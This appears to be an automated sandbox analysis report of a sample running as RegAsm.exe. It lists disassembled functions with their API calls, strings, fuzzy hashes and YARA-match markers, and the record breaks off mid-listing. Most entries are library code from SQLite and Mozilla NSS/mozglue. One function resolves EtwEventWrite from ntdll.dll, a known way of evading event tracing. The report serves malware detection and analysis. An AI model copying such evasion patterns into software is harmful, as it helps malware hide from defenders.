Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: f1cd62583257b4e978607aa24066664880294c97da1c4b237f5e3c36eeb1b522
Instruction ID: 599747ec65aa711d4222f87293a2bc3efd73c3a5c89663ff1ef61cf166ebe8ee
Opcode Fuzzy Hash: f1cd62583257b4e978607aa24066664880294c97da1c4b237f5e3c36eeb1b522
Instruction Fuzzy Hash: B62145306007089BC310CF19D841B9AB7F2AF84308F14852CD8A9DBF50E371F94ACBA2

Function 00413359 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413378
StrCmpCA.SHLWAPI(00000000,004367D8,?), ref: 004133B1

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

strtok_s.MSVCRT ref: 004133ED

Strings

wA, xrefs: 0041336A, 0041336D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: wA
API String ID: 348468850-2241071787
Opcode ID: b54f79506fe34697ed56ceb4fd7e0475d30104fef2394611982800ee9c9d33ca
Instruction ID: 2478460808f36eeb2470641da1d29ec850732e21adfe65c6b768d3d5843ca9ce
Opcode Fuzzy Hash: b54f79506fe34697ed56ceb4fd7e0475d30104fef2394611982800ee9c9d33ca
Instruction Fuzzy Hash: 8411AF71A00109AFCB00DF54C985BDAB7BCAF00316F105167EC19E6192EB78EB848B98

Function 6C32CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C32CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C32CC7B), ref: 6C32CD7A
Part of subcall function 6C32CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C32CD8E
Part of subcall function 6C32CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C32CDA5
Part of subcall function 6C32CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C32CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C32CCB5
memcpy.VCRUNTIME140(6C3C14F4,6C3C02AC,00000090), ref: 6C32CCD3
memcpy.VCRUNTIME140(6C3C1588,6C3C02AC,00000090), ref: 6C32CD2B

Part of subcall function 6C249AC0: socket.WSOCK32(?,00000017,6C2499BE), ref: 6C249AE6
Part of subcall function 6C249AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C2499BE), ref: 6C249AFC

Part of subcall function 6C250590: closesocket.WSOCK32(6C249A8F,?,?,6C249A8F,00000000), ref: 6C250597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C32CCB0

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 211174797d9d12648831ebbaa5f195da455e69f966acf1dba72225e13a2ade98
Instruction ID: 4f138e5a27bf73e5724abd504ae27c3b1232fb63b1a014f4ad0c87d33095e524
Opcode Fuzzy Hash: 211174797d9d12648831ebbaa5f195da455e69f966acf1dba72225e13a2ade98
Instruction Fuzzy Hash: 09119AF5B002409EEB10AF59DD0675A37BCD346218F101025E615CBB41E77DE514AFEB

Function 6C18F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C189420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C154A68), ref: 6C18945E
Part of subcall function 6C189420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C189470
Part of subcall function 6C189420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C189482
Part of subcall function 6C189420: __Init_thread_footer.LIBCMT ref: 6C18949F

GetCurrentThreadId.KERNEL32 ref: 6C18F440
AcquireSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18F44D
ReleaseSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18F472
GetCurrentThreadId.KERNEL32 ref: 6C18F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C18F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C18F4A8

Part of subcall function 6C18F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C18F09B
Part of subcall function 6C18F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C18F0AC
Part of subcall function 6C18F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C18F0BE

Part of subcall function 6C17CBE8: GetCurrentProcess.KERNEL32(?,6C1431A7), ref: 6C17CBF1
Part of subcall function 6C17CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1431A7), ref: 6C17CBFA

GetCurrentThreadId.KERNEL32 ref: 6C18F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C18F561
GetCurrentThreadId.KERNEL32 ref: 6C18F577
AcquireSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18F585
ReleaseSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18F5A3

Strings

g/, xrefs: 6C18F07C, 6C18F1BA, 6C18F32A, 6C18F41A
[I %d/%d] profiler_resume_sampling, xrefs: 6C18F499
[I %d/%d] profiler_resume, xrefs: 6C18F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C18F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C18F56A

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: g/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-3013633323
Opcode ID: 0c87fc4f36ec3ed06c6de2d67ebabf0036e504213c339be6437a47cb4cbbf0fa
Instruction ID: 778bada3fc45dc0b470d0e2395a20e08b88bef39b63feeeb8c832739ecb497fa
Opcode Fuzzy Hash: 0c87fc4f36ec3ed06c6de2d67ebabf0036e504213c339be6437a47cb4cbbf0fa
Instruction Fuzzy Hash: 6DF09031714214CBCB109FA9D4083997FB4EB5A769F40021AF93193B81D73C1A48DBEB

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EBDD
Part of subcall function 0042EBC8: __CxxThrowException@8.LIBCMT ref: 0042EBF2
Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EC03

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

Strings

string too long, xrefs: 0040F27D
invalid string position, xrefs: 0040F288

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: f275d42197edf040b10ae2a1a9b0e95dd663dcfd499cec32c134d51b3f46bf3d
Instruction ID: 4e14f3da9772afe2dcfc6e37a6574e6a2af7a733b4f87f0c8d62199a0fd25091
Opcode Fuzzy Hash: f275d42197edf040b10ae2a1a9b0e95dd663dcfd499cec32c134d51b3f46bf3d
Instruction Fuzzy Hash: 0DD012B164020C7BCB04E79AE80A9CDBBE99F48714F20016BE715D3641EA7466014559

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: bcf2a833d62f9084df2818784a80778564d57039dfdbfedd00e0745c19e7e1c8
Instruction ID: d8e673918eb2144bcef719609f58f41fb0b6897d0319fbb1526f8e993730841e
Opcode Fuzzy Hash: bcf2a833d62f9084df2818784a80778564d57039dfdbfedd00e0745c19e7e1c8
Instruction Fuzzy Hash: B4D0A73134031477C61017D4BC0DF9A3F2CDB057A2F001130FA0DD5150C96548144BED

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: bb407900c42747b6974d1836f8af7949c360a931ddf5ea46551365e590da193a
Instruction ID: b82d0d685c9c4ed7257a31b462c0517db8d4f6830dcc7ae0d69c4127066b061f
Opcode Fuzzy Hash: bb407900c42747b6974d1836f8af7949c360a931ddf5ea46551365e590da193a
Instruction Fuzzy Hash: A4D012353C030477E1781B54BC5FF1A2934D7C9F02F201124F311680D046A41402973E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

EtwEventWrite, xrefs: 004018C5
ntdll.dll, xrefs: 004018B5

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: ce5ac687bc190155b9328e3ef5a87ceff27681ea425ebccb3c79e855d6a5205e
Instruction ID: e7813acad89d48f512d0792ea1639ecc4d5b69adc90d86605e894d3591a32228
Opcode Fuzzy Hash: ce5ac687bc190155b9328e3ef5a87ceff27681ea425ebccb3c79e855d6a5205e
Instruction Fuzzy Hash: 6CB092707802019BCE142B716D9DF06B66A7A64B067A061A2A68AD01A0D7BCA128961E

Function 6C165C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C165D40
EnterCriticalSection.KERNEL32(6C1CF688), ref: 6C165D67
__aulldiv.LIBCMT ref: 6C165DB4
LeaveCriticalSection.KERNEL32(6C1CF688), ref: 6C165DED

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 3c9cb82b31f414ae2d74c7e96f6cad59cf6856e135cdd5c33986dcbfebda8ed5
Instruction ID: 7f82cfebd04f13feb00e199966658d8991f3c7ad42968d5f549013e4d0a6b7e2
Opcode Fuzzy Hash: 3c9cb82b31f414ae2d74c7e96f6cad59cf6856e135cdd5c33986dcbfebda8ed5
Instruction Fuzzy Hash: F3516171E001298FCF08CFADC855BAEBBB2FB95304F19461DD861A7B51D7346A46CB90

Function 6C154C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C1CE7DC), ref: 6C154C2F
LeaveCriticalSection.KERNEL32(6C1CE7DC), ref: 6C154C82
EnterCriticalSection.KERNEL32(6C1CE7DC), ref: 6C154C89

Strings

GeckoMain, xrefs: 6C155554, 6C1555D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C1554B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C15548D
MOZ_PROFILER_STARTUP, xrefs: 6C1555E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C155724
g/, xrefs: 6C154C0F, 6C15544F
MOZ_BASE_PROFILER_HELP, xrefs: 6C155511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C155717
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C155766
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C1550F3, 6C155121, 6C15513C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C1556E3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C155791
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C1557AE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C1557C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C155749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C1554A3

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: g/$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-724601298
Opcode ID: a6b4aafeb7b36c2a895c8d343e484f0113fad1f09a77817dbfb0e6dd7dd1e107
Instruction ID: 668ad022c8896fc507124550428764837871b78b3fc3eeab0660d708e3ded4dd
Opcode Fuzzy Hash: a6b4aafeb7b36c2a895c8d343e484f0113fad1f09a77817dbfb0e6dd7dd1e107
Instruction Fuzzy Hash: 404115B13053118BD718CF29C49071A7BE1AFA2728FA8861CE875CBAD0CB35D971CB85

Function 6C2D2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C2D1289,?), ref: 6C2D2D72

Part of subcall function 6C2D3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C2D2CA7,E80C76FF,?,6C2D1289,?), ref: 6C2D33E9
Part of subcall function 6C2D3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C2D342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C2D1289,?), ref: 6C2D2D61

Part of subcall function 6C2D0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C2D0B21
Part of subcall function 6C2D0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C2D0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C2D1289,?), ref: 6C2D2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C2D1289,?), ref: 6C2D2DAF

Part of subcall function 6C28B8F0: PR_CallOnceWithArg.NSS3(6C3C2178,6C28BCF0,?), ref: 6C28B915
Part of subcall function 6C28B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C28B933
Part of subcall function 6C28B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C28B9C8
Part of subcall function 6C28B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C28B9E1

Part of subcall function 6C2D0A50: SECOID_GetAlgorithmTag_Util.NSS3(6C2D2A90,E8571076,?,6C2D2A7C,6C2D21F1,?,?,?,00000000,00000000,?,?,6C2D21DD,00000000), ref: 6C2D0A66

Part of subcall function 6C2D3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C2D2D1E,?,?,?,?,00000000,?,?,?,?,?,6C2D1289), ref: 6C2D3348

Part of subcall function 6C2D06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C2D2E70,00000000), ref: 6C2D0701

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: 6661045dc63002de474d9cf0970440f7e2923b18f3932dce85eb7f8e151f237a
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: C431B8FA900209ABDB009F64EC44E9A3769BF6531DF160130FD159BBA5E731F918C7A2

Function 6C266C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C266C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C266CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C266CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C388FE0), ref: 6C266CFE

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 26b35077a1f2c101413ef40020d175cd2ab8b0f55b96c81d755001a466d197ba
Instruction ID: 51eaa33f1fb3a8536eb1e5f813b82b218caba258b2863f2313f9cc49ed6e3d2f
Opcode Fuzzy Hash: 26b35077a1f2c101413ef40020d175cd2ab8b0f55b96c81d755001a466d197ba
Instruction Fuzzy Hash: AC319EB5A0021A9FDB04CF66C891ABFBBF5EF85248F14442DDD05E7B40EB319945CBA0

Function 0041BF90 Relevance: 6.1, APIs: 4, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,759183C0,00000000,?,?,?,?,?,?,0041C559,?,00416EF0,?), ref: 0041BFE3
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C559,?,00416EF0), ref: 0041C013
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C559,?,00416EF0,?), ref: 0041C03F
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C559,?,00416EF0,?), ref: 0041C04D

